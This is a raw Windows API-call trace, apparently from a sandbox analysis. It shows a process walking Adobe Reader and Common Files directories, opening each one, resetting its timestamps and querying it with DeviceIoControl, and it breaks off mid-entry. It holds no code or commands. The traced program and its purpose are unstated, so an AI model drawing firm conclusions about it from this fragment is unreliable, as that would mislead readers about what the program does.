0 [0252.102] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.190] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0252.190] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.190] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.317] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0252.317] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.317] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.357] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\pfm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0252.357] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0252.357] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0252.363] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0252.363] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.363] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.442] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0252.442] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0252.442] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0252.597] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0252.597] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0252.597] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0252.597] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0252.597] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0252.598] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0252.598] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0252.598] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0252.598] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0252.704] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\saslprep"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0252.704] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.704] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.733] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0252.733] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.733] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.733] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0252.733] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0252.733] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0252.780] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\icu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0252.780] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0252.780] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0252.780] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0252.780] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0252.780] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0252.831] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0252.839] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0252.839] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0252.881] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0252.881] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0252.881] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0252.922] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0252.923] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0252.923] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0252.925] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0252.925] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0252.925] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0252.926] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0252.926] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.926] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.930] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files" (normalized: "c:\\program files (x86)\\common files"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0252.930] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0252.930] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0252.931] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe" (normalized: "c:\\program files (x86)\\common files\\adobe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0252.931] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0252.931] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0252.932] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0252.932] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0252.932] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0252.932] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0252.932] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.932] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.935] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM" (normalized: "c:\\program files (x86)\\common files\\adobe\\arm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0252.936] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0252.936] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0252.936] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0" (normalized: "c:\\program files (x86)\\common files\\adobe\\arm\\1.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0252.936] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.936] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.937] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0252.937] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0252.937] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0252.944] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ca_es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0252.944] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.944] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.945] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\cs_cz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0252.945] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.945] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.946] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\da_dk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0252.946] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.946] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.947] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\de_de"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0252.947] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.947] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.948] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\en_us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0252.948] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.948] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.949] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\es_es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0252.949] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.949] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.949] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\eu_es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0252.949] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.949] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.950] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\fi_fi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0252.951] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.951] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, 